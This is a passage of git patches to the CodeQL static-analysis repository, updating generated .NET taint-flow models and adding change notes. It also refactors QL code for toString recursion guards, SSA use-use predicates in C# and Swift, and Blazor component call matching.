System.Xml;XmlDictionaryReader;GetAttribute;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];Argument[1];taint;df-generated | +| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];Argument[1];taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;(System.String[],System.Int32);Argument[0].Element;ReturnValue;value;dfc-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;(System.Xml.XmlDictionaryString[],System.Int32);Argument[0].Element.Property[System.Xml.XmlDictionaryString.Value];ReturnValue;value;dfc-generated | @@ -16801,7 +16648,6 @@ | System;Array;ForEach;(T[],System.Action);Argument[0].Element;Argument[1].Parameter[0];value;hq-generated | | System;Array;ForEach;(T[],System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System;Array;ForEach;(T[],System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System;Array;Resize;(T[],System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System;Array;Reverse;(System.Array);Argument[0].Element;ReturnValue.Element;value;manual | | System;Array;Reverse;(System.Array,System.Int32,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | | System;Array;Reverse;(T[]);Argument[0].Element;ReturnValue.Element;value;manual | @@ -17171,7 +17017,7 @@ | System;Convert;TryToBase64Chars;(System.ReadOnlySpan,System.Span,System.Int32,System.Base64FormattingOptions);Argument[0].Element;ReturnValue;taint;manual | | System;Converter;BeginInvoke;(TInput,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;DateTime;ToLocalTime;();Argument[this];ReturnValue;value;df-generated | -| System;DateTimeOffset;Deconstruct;(System.DateOnly,System.TimeOnly,System.TimeSpan);Argument[this].Property[System.DateTimeOffset.Offset];ReturnValue;value;dfc-generated | +| System;DateTimeOffset;Deconstruct;(System.DateOnly,System.TimeOnly,System.TimeSpan);Argument[this].Property[System.DateTimeOffset.Offset];Argument[2];value;dfc-generated | | System;Delegate+InvocationListEnumerator;GetEnumerator;();Argument[this];ReturnValue;value;dfc-generated | | System;Delegate+InvocationListEnumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System;Delegate;Combine;(System.Delegate,System.Delegate);Argument[1];ReturnValue;value;dfc-generated | @@ -17435,8 +17281,6 @@ | System;MemoryExtensions;TrimStart;(System.Span,System.ReadOnlySpan);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System;MemoryExtensions;TrimStart;(System.Span,System.ReadOnlySpan);Argument[0];ReturnValue;value;dfc-generated | | System;MemoryExtensions;TrimStart;(System.Span,T);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);Argument[2];ReturnValue;value;dfc-generated | -| System;MemoryExtensions;TryWrite;(System.Span,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);Argument[1];ReturnValue;value;dfc-generated | | System;MissingFieldException;MissingFieldException;(System.String,System.String);Argument[0];Argument[this].Field[System.MissingMemberException.ClassName];value;dfc-generated | | System;MissingFieldException;MissingFieldException;(System.String,System.String);Argument[1];Argument[this].Field[System.MissingMemberException.MemberName];value;dfc-generated | | System;MissingFieldException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | @@ -17553,8 +17397,6 @@ | System;String;Concat;(System.String[]);Argument[0].Element;ReturnValue;taint;manual | | System;String;Concat;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;manual | | System;String;Copy;(System.String);Argument[0];ReturnValue;value;manual | -| System;String;Create;(System.IFormatProvider,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System;String;Create;(System.IFormatProvider,System.Span,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);Argument[2];ReturnValue;value;dfc-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[1];Argument[2].Parameter[1];value;dfc-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[1];Argument[2].Parameter[1];value;hq-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | @@ -17672,7 +17514,7 @@ | System;String;TrimStart;();Argument[this];ReturnValue;taint;manual | | System;String;TrimStart;(System.Char);Argument[this];ReturnValue;taint;manual | | System;String;TrimStart;(System.Char[]);Argument[this];ReturnValue;taint;manual | -| System;String;TryParse;(System.String,System.IFormatProvider,System.String);Argument[0];ReturnValue;value;dfc-generated | +| System;String;TryParse;(System.String,System.IFormatProvider,System.String);Argument[0];Argument[2];value;dfc-generated | | System;StringNormalizationExtensions;Normalize;(System.String);Argument[0];ReturnValue;value;dfc-generated | | System;StringNormalizationExtensions;Normalize;(System.String,System.Text.NormalizationForm);Argument[0];ReturnValue;value;dfc-generated | | System;TimeProvider;CreateTimer;(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -17713,7 +17555,7 @@ | System;TimeZoneInfo;GetUtcOffset;(System.DateTimeOffset);Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;ToString;();Argument[this].Property[System.TimeZoneInfo.DisplayName];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;ToString;();Argument[this].SyntheticField[System.TimeZoneInfo._displayName];ReturnValue;value;dfc-generated | -| System;TimeZoneInfo;TryFindSystemTimeZoneById;(System.String,System.TimeZoneInfo);Argument[0];ReturnValue.SyntheticField[System.TimeZoneInfo._id];value;dfc-generated | +| System;TimeZoneInfo;TryFindSystemTimeZoneById;(System.String,System.TimeZoneInfo);Argument[0];Argument[1].SyntheticField[System.TimeZoneInfo._id];value;dfc-generated | | System;TimeZoneInfo;get_BaseUtcOffset;();Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;get_DaylightName;();Argument[this].SyntheticField[System.TimeZoneInfo._daylightDisplayName];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;get_DisplayName;();Argument[this].SyntheticField[System.TimeZoneInfo._displayName];ReturnValue;value;dfc-generated | @@ -18324,4 +18166,4 @@ | System;ValueTuple;get_Item;(System.Int32);Argument[this].Field[System.ValueTuple`1.Item1];ReturnValue;value;manual | | System;WeakReference;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this].Property[System.WeakReference.Target];Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;value;df-generated | | System;WeakReference;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this].Property[System.WeakReference.Target];Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;value;dfc-generated | -| System;WeakReference;TryGetTarget;(T);Argument[this];ReturnValue;taint;df-generated | +| System;WeakReference;TryGetTarget;(T);Argument[this];Argument[0];taint;df-generated | From de6e3eafb908337ff2008b922e4e06fc7e47eeb7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 26 Mar 2025 15:26:50 +0100 Subject: [PATCH 178/282] C#: Add change note. --- csharp/ql/src/change-notes/2025-03-26-dotnet-models.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-03-26-dotnet-models.md diff --git a/csharp/ql/src/change-notes/2025-03-26-dotnet-models.md b/csharp/ql/src/change-notes/2025-03-26-dotnet-models.md new file mode 100644 index 00000000000..3986145c5af --- /dev/null +++ b/csharp/ql/src/change-notes/2025-03-26-dotnet-models.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The MaD models for the .NET 9 Runtime have been re-generated after a fix related to `out`/`ref` parameters. From 4fb138a1a3c899e5083648b81800c423f311cbce Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 14:37:02 +0200 Subject: [PATCH 179/282] Rust: Make `Element.toString` non-recursive --- misc/codegen/templates/ql_class.mustache | 6 +++++- rust/ql/.generated.list | 2 +- .../rust/elements/internal/ElementImpl.qll | 1 + .../rust/elements/internal/ModuleImpl.qll | 2 +- .../codeql/rust/elements/internal/UseImpl.qll | 2 +- .../rust/elements/internal/UseTreeImpl.qll | 20 ++++++++++++++++--- .../elements/internal/generated/Element.qll | 6 +++++- 7 files changed, 31 insertions(+), 8 deletions(-) diff --git a/misc/codegen/templates/ql_class.mustache b/misc/codegen/templates/ql_class.mustache index 39aba2b1ef4..e80e0b0eebd 100644 --- a/misc/codegen/templates/ql_class.mustache +++ b/misc/codegen/templates/ql_class.mustache @@ -30,7 +30,11 @@ module Generated { * Gets the string representation of this element. */ cached - final string toString() { result = this.toStringImpl() } + final string toString() { + result = this.toStringImpl() and + // recursion guard to prevent `toString` from being defined recursively + (exists(any(Element e).toStringImpl()) implies any()) + } /** * INTERNAL: Do not use. diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 61529b8b6cc..0bd2931256e 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -506,7 +506,7 @@ lib/codeql/rust/elements/internal/generated/ConstParam.qll 310342603959a4d521418 lib/codeql/rust/elements/internal/generated/ContinueExpr.qll e2010feb14fb6edeb83a991d9357e50edb770172ddfde2e8670b0d3e68169f28 48d09d661e1443002f6d22b8710e22c9c36d9daa9cde09c6366a61e960d717cb lib/codeql/rust/elements/internal/generated/Crate.qll d245f24e9da4f180c526a6d092f554a9577bae7225c81c36a391947c0865eeb3 c95dbb32b2ce4d9664be56c95b19fcd01c2d3244385e55151f9b06b07f04ce9b lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll a9d540717af1f00dbea1c683fd6b846cddfb2968c7f3e021863276f123337787 1972efb9bca7aae9a9708ca6dcf398e5e8c6d2416a07d525dba1649b80fbe4d1 -lib/codeql/rust/elements/internal/generated/Element.qll 69ce882811f2bef7e0a93c0a24494dd16120a108ba4180d455344e29144a98c4 7781bc5c69b5b08775902fcb97cb23f85359ef2303545afe9d44301b19024b3a +lib/codeql/rust/elements/internal/generated/Element.qll d56d22c060fa929464f837b1e16475a4a2a2e42d68235a014f7369bcb48431db 0e48426ca72179f675ac29aa49bbaadb8b1d27b08ad5cbc72ec5a005c291848e lib/codeql/rust/elements/internal/generated/Enum.qll 4f4cbc9cd758c20d476bc767b916c62ba434d1750067d0ffb63e0821bb95ec86 3da735d54022add50cec0217bbf8ec4cf29b47f4851ee327628bcdd6454989d0 lib/codeql/rust/elements/internal/generated/Expr.qll 5fa34f2ed21829a1509417440dae42d416234ff43433002974328e7aabb8f30f 46f3972c7413b7db28a3ea8acb5a50a74b6dd9b658e8725f6953a8829ac912f8 lib/codeql/rust/elements/internal/generated/ExprStmt.qll d1112230015fbeb216b43407a268dc2ccd0f9e0836ab2dca4800c51b38fa1d7d 4a80562dcc55efa5e72c6c3b1d6747ab44fe494e76faff2b8f6e9f10a4b08b5b diff --git a/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll index 75de7703df0..7a464a378d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll @@ -20,6 +20,7 @@ module Impl { * Returns a string suitable to be inserted into the name of the parent. Typically `"..."`, * but may be overridden by subclasses. */ + pragma[nomagic] string toAbbreviatedString() { result = "..." } predicate isUnknown() { none() } // compatibility with test generation, to be fixed diff --git a/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll index 0fb9690d2d1..19f63f0790f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ModuleImpl.qll @@ -24,6 +24,6 @@ module Impl { * ``` */ class Module extends Generated::Module { - override string toStringImpl() { result = "mod " + this.getName() } + override string toStringImpl() { result = "mod " + this.getName().getText() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 5c2567fc3d7..7b99c609a46 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -19,6 +19,6 @@ module Impl { * ``` */ class Use extends Generated::Use { - override string toStringImpl() { result = "use " + this.getUseTree() } + override string toStringImpl() { result = "use " + this.getUseTree().toAbbreviatedString() } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index ef1be77ef78..7e917268a72 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -26,14 +26,28 @@ module Impl { result = strictconcat(int i | | this.toStringPart(i) order by i) } - private string toStringPart(int index) { - result = this.getPath().toStringImpl() and index = 0 - or + private string toStringPartCommon(int index) { result = "::{...}" and this.hasUseTreeList() and index = 1 or result = "::*" and this.isGlob() and index = 2 or result = " as " + this.getRename().getName().getText() and index = 3 } + + private string toStringPart(int index) { + result = this.getPath().toStringImpl() and index = 0 + or + result = this.toStringPartCommon(index) + } + + override string toAbbreviatedString() { + result = strictconcat(int i | | this.toAbbreviatedStringPart(i) order by i) + } + + private string toAbbreviatedStringPart(int index) { + result = this.getPath().toAbbreviatedString() and index = 0 + or + result = this.toStringPartCommon(index) + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll index f8a5f4b24b2..9e3db0fe8b6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Element.qll @@ -24,7 +24,11 @@ module Generated { * Gets the string representation of this element. */ cached - final string toString() { result = this.toStringImpl() } + final string toString() { + result = this.toStringImpl() and + // recursion guard to prevent `toString` from being defined recursively + (exists(any(Element e).toStringImpl()) implies any()) + } /** * INTERNAL: Do not use. From c14a2375c39aff1690971eb6d8b3e3ba212d5ce1 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 15:10:03 +0200 Subject: [PATCH 180/282] Swift: Run codegen --- swift/ql/.generated.list | 2 +- swift/ql/lib/codeql/swift/generated/Element.qll | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/swift/ql/.generated.list b/swift/ql/.generated.list index 900d0381032..32734851515 100644 --- a/swift/ql/.generated.list +++ b/swift/ql/.generated.list @@ -701,7 +701,7 @@ lib/codeql/swift/generated/Comment.qll 64625f47ebddb1ec7e1c81790dd8120087a76958c lib/codeql/swift/generated/DbFile.qll cc0d2b9efbee36080bde2e26e424a40efb763eaee55874fb6c4a5db36938f3df 33e215d838cfa36e3dd0e62879e896d988430d1470a87ce1bb45aad70886212b lib/codeql/swift/generated/DbLocation.qll e2c7cc975b53cfb0061e055da082fbe57c0aef388e5ee874f0ff22c388a81ce1 1939414bc5d574796e83ab916408c3183210ead04957b50493610529700e0427 lib/codeql/swift/generated/Diagnostics.qll 03ea201db80d33b18f7f6c71267044c695c2572e5783ab754fa7c7ac27e16ee3 8aa78be37a8f23e4b899b910508fd5966ebc98fade6c284d59d59e246de18288 -lib/codeql/swift/generated/Element.qll ee383d0b3be3ae1f58142980011476ce6f317550f96548403f9ecd352ee72cd9 ef4a8e175d327b44b147814ad9630ca54c53f21fc2bab7d8a88d1e220060c0a7 +lib/codeql/swift/generated/Element.qll bf8f688e05f44f18384067c3cab7f05796764e2b4cce7ff24da419c3dae26194 820390ffbb1012f73267668626f7d0ccd368500331c91bbc276fcb1c25037e41 lib/codeql/swift/generated/ErrorElement.qll b39bd7c8b4e2011f4a6889e073ebf5b628db32f36f50b067250ae730d9f26561 fd859ec969ba434049e7ba4e78271cc8cebc8b058d2e96e4d47a22064cbb5a21 lib/codeql/swift/generated/File.qll 476ac95566ef0080e0ad8c3da144b1be1d945d2f33a24f0864d85ff7c56a09b1 3134018bb50166cbf2690f64bba551cace350e4a7e6e25bcded18f997ad1835b lib/codeql/swift/generated/KeyPathComponent.qll 5276acdc9a4ff0ec0cc8af615c04043391fb99613731ddcc86db4e47b37c8c5a ccc0931bbd6cc2cfae5037c2ee17bbdcbd87536f5fed90d07e73065c016c4382 diff --git a/swift/ql/lib/codeql/swift/generated/Element.qll b/swift/ql/lib/codeql/swift/generated/Element.qll index cfb8fbc3208..c22970fb510 100644 --- a/swift/ql/lib/codeql/swift/generated/Element.qll +++ b/swift/ql/lib/codeql/swift/generated/Element.qll @@ -24,7 +24,11 @@ module Generated { * Gets the string representation of this element. */ cached - final string toString() { result = this.toStringImpl() } + final string toString() { + result = this.toStringImpl() and + // recursion guard to prevent `toString` from being defined recursively + (exists(any(Element e).toStringImpl()) implies any()) + } /** * INTERNAL: Do not use. From 56f4694b38944ffb85372be4d9422a34e0bbdbe0 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 19:58:48 +0200 Subject: [PATCH 181/282] Swift: Avoid calling `Element.toString` recursively --- .../ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll | 2 +- .../lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll | 2 +- .../swift/elements/expr/internal/ExplicitCastExprImpl.qll | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll b/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll index 54958639b80..35061146acf 100644 --- a/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll +++ b/swift/ql/lib/codeql/swift/elements/expr/InitializerLookupExpr.qll @@ -5,7 +5,7 @@ private import codeql.swift.elements.decl.Initializer final private class InitializerLookupExprImpl extends Impl::MethodLookupExpr { InitializerLookupExprImpl() { super.getMethod() instanceof Initializer } - override string toStringImpl() { result = this.getMember().toString() } + override string toStringImpl() { result = this.getMember().toStringImpl() } } final class InitializerLookupExpr extends MethodLookupExpr, InitializerLookupExprImpl { diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll index 87a2f9481c8..ebc9e591b52 100644 --- a/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll +++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ApplyExprImpl.qll @@ -48,7 +48,7 @@ module Impl { override Expr getQualifier() { result = expr.getQualifier() } - override string toStringImpl() { result = "call to " + expr } + override string toStringImpl() { result = "call to " + expr.toStringImpl() } } private class FullDotSyntaxBaseIgnoredApplyExpr extends ApplyExpr { diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll index 76814e7c70a..e18a3ec9e23 100644 --- a/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll +++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ExplicitCastExprImpl.qll @@ -4,6 +4,6 @@ module Impl { class ExplicitCastExpr extends Generated::ExplicitCastExpr { override predicate convertsFrom(Expr e) { e = this.getImmediateSubExpr() } - override string toStringImpl() { result = "(" + this.getType() + ") ..." } + override string toStringImpl() { result = "(" + this.getType().toStringImpl() + ") ..." } } } From d61d9730c8a304170baf9e52c84d03b08d1bf5c3 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Mon, 31 Mar 2025 11:58:45 +0200 Subject: [PATCH 182/282] C++: add change note for calling conventions --- cpp/ql/lib/change-notes/2025-03-31-calling-convention.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-03-31-calling-convention.md diff --git a/cpp/ql/lib/change-notes/2025-03-31-calling-convention.md b/cpp/ql/lib/change-notes/2025-03-31-calling-convention.md new file mode 100644 index 00000000000..12d9547eb03 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-03-31-calling-convention.md @@ -0,0 +1,5 @@ +--- +category: feature +--- +* Calling conventions explicitly specified on function declarations (`__cdecl`, `__stdcall`, `__fastcall`, etc.) are now represented as specifiers of those declarations. +* A new class `CallingConventionSpecifier` extending the `Specifier` class was introduced, which represents explicitly specified calling conventions. From dbd99df85b743491a0db88f89e64f89e5c9c8c6a Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 1 Apr 2025 10:03:20 +0200 Subject: [PATCH 183/282] C#: Update PreSSA to reference the new use-use predicates. --- .../semmle/code/csharp/controlflow/internal/PreSsa.qll | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/PreSsa.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/PreSsa.qll index 184317b07bd..6507bbbe04b 100644 --- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/PreSsa.qll +++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/PreSsa.qll @@ -175,10 +175,9 @@ module PreSsa { } final AssignableRead getAFirstRead() { - exists(SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2 | - this.definesAt(_, bb1, i1) and - SsaImpl::adjacentDefRead(this, bb1, i1, bb2, i2) and - result = bb2.getElement(i2) + exists(SsaInput::BasicBlock bb, int i | + SsaImpl::firstUse(this, bb, i, true) and + result = bb.getElement(i) ) } @@ -216,8 +215,7 @@ module PreSsa { predicate adjacentReadPairSameVar(AssignableRead read1, AssignableRead read2) { exists(SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2 | read1 = bb1.getElement(i1) and - SsaInput::variableRead(bb1, i1, _, true) and - SsaImpl::adjacentDefRead(_, bb1, i1, bb2, i2) and + SsaImpl::adjacentUseUse(bb1, i1, bb2, i2, _, true) and read2 = bb2.getElement(i2) ) } From 887452d2027ad5d97f69edf911232d5ec6b32096 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 1 Apr 2025 10:05:02 +0200 Subject: [PATCH 184/282] Swift: Update SSA to reference the new use-use predicates. --- swift/ql/lib/codeql/swift/dataflow/Ssa.qll | 12 +++++------- .../swift/dataflow/internal/DataFlowPrivate.qll | 6 ++---- 2 files changed, 7 insertions(+), 11 deletions(-) diff --git a/swift/ql/lib/codeql/swift/dataflow/Ssa.qll b/swift/ql/lib/codeql/swift/dataflow/Ssa.qll index 94ba657e94d..f052ed8b314 100644 --- a/swift/ql/lib/codeql/swift/dataflow/Ssa.qll +++ b/swift/ql/lib/codeql/swift/dataflow/Ssa.qll @@ -151,10 +151,9 @@ module Ssa { cached ControlFlowNode getAFirstRead() { - exists(SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2 | - this.definesAt(_, bb1, i1) and - SsaImpl::adjacentDefRead(this, bb1, i1, bb2, i2) and - result = bb2.getNode(i2) + exists(SsaInput::BasicBlock bb, int i | + SsaImpl::firstUse(this, bb, i, true) and + result = bb.getNode(i) ) } @@ -162,14 +161,13 @@ module Ssa { predicate adjacentReadPair(ControlFlowNode read1, ControlFlowNode read2) { exists(SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2 | read1 = bb1.getNode(i1) and - SsaInput::variableRead(bb1, i1, _, true) and - SsaImpl::adjacentDefRead(this, bb1, i1, bb2, i2) and + SsaImpl::adjacentUseUse(bb1, i1, bb2, i2, _, true) and read2 = bb2.getNode(i2) ) } cached - predicate lastRefRedef(SsaInput::BasicBlock bb, int i, Definition next) { + deprecated predicate lastRefRedef(SsaInput::BasicBlock bb, int i, Definition next) { SsaImpl::lastRefRedef(this, bb, i, next) } } diff --git a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPrivate.qll b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPrivate.qll index c84298771fb..4849c5ac235 100644 --- a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPrivate.qll +++ b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPrivate.qll @@ -111,10 +111,8 @@ private class CaptureNodeImpl extends CaptureNode, NodeImpl { } private predicate localFlowSsaInput(Node nodeFrom, Ssa::Definition def, Ssa::Definition next) { - exists(BasicBlock bb, int i | def.lastRefRedef(bb, i, next) | - def.definesAt(_, bb, i) and - def = nodeFrom.asDefinition() - ) + next.(Ssa::PhiDefinition).getAPhiInput() = def and + def = nodeFrom.asDefinition() } /** A collection of cached types and predicates to be evaluated in the same stage. */ From 398f0414642e54ff69de04cac9aab10960daae71 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tam=C3=A1s=20Vajk?= Date: Tue, 1 Apr 2025 10:18:09 +0200 Subject: [PATCH 185/282] Update csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll Co-authored-by: Michael Nebel --- .../frameworks/microsoft/aspnetcore/Components.qll | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 8cf5ce659e4..3c0a0940e06 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -197,15 +197,11 @@ private predicate matchingOpenCloseComponentCalls( closeCall.getEnclosingCallable() = enclosing and closeCall.getParent().getParent() = openCall.getParent().getParent() and openCall.getParent().getIndex() = openCallIndex and - closeCall.getParent().getIndex() = closeCallIndex and - closeCallIndex > openCallIndex and - not exists(int k, MethodCall otherCloseCall | - k in [openCallIndex + 1 .. closeCallIndex - 1] and - otherCloseCall.getTarget() instanceof MicrosoftAspNetCoreComponentsCloseComponentMethod and - otherCloseCall.getEnclosingCallable() = enclosing and - otherCloseCall.getParent().getParent() = openCall.getParent().getParent() and - otherCloseCall.getParent().getIndex() = k - ) + closeCallIndex = + min(int closeCallIndex0 | + closeCall.getParent().getIndex() = closeCallIndex0 and + closeCallIndex0 > openCallIndex + ) } private module JumpNodes { From a570a728bdf7c65749582d1489d0a5708b37763f Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 1 Apr 2025 10:29:55 +0200 Subject: [PATCH 186/282] Fix code quality --- .../microsoft/aspnetcore/Components.qll | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 3c0a0940e06..1fa427f4d19 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -195,13 +195,16 @@ private predicate matchingOpenCloseComponentCalls( openCall.getEnclosingCallable() = enclosing and closeCall.getTarget() instanceof MicrosoftAspNetCoreComponentsCloseComponentMethod and closeCall.getEnclosingCallable() = enclosing and - closeCall.getParent().getParent() = openCall.getParent().getParent() and - openCall.getParent().getIndex() = openCallIndex and - closeCallIndex = - min(int closeCallIndex0 | - closeCall.getParent().getIndex() = closeCallIndex0 and - closeCallIndex0 > openCallIndex - ) + exists(BlockStmt block | + block = closeCall.getParent().getParent() and + block = openCall.getParent().getParent() and + block.getChildStmt(openCallIndex) = openCall.getParent() and + closeCallIndex = + min(int closeCallIndex0 | + block.getChildStmt(closeCallIndex0) = closeCall.getParent() and + closeCallIndex0 > openCallIndex + ) + ) } private module JumpNodes { @@ -223,14 +226,17 @@ private module JumpNodes { exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess()) or exists( - string propertyName, MethodCall openComponent, int i, MethodCall closeComponent, int j + string propertyName, MethodCall openComponent, BlockStmt block, int openIdx, int closeIdx, + int thisIdx | propertyName = this.getArgument(1).(StringLiteral).getValue() and result.hasName(propertyName) and - matchingOpenCloseComponentCalls(openComponent, i, closeComponent, j, + matchingOpenCloseComponentCalls(openComponent, openIdx, _, closeIdx, this.getEnclosingCallable(), result.getDeclaringType()) and - this.getParent().getParent() = openComponent.getParent().getParent() and - this.getParent().getIndex() in [i + 1 .. j - 1] + block = this.getParent().getParent() and + block = openComponent.getParent().getParent() and + block.getChildStmt(thisIdx) = this.getParent() and + thisIdx in [openIdx + 1 .. closeIdx - 1] ) ) } From 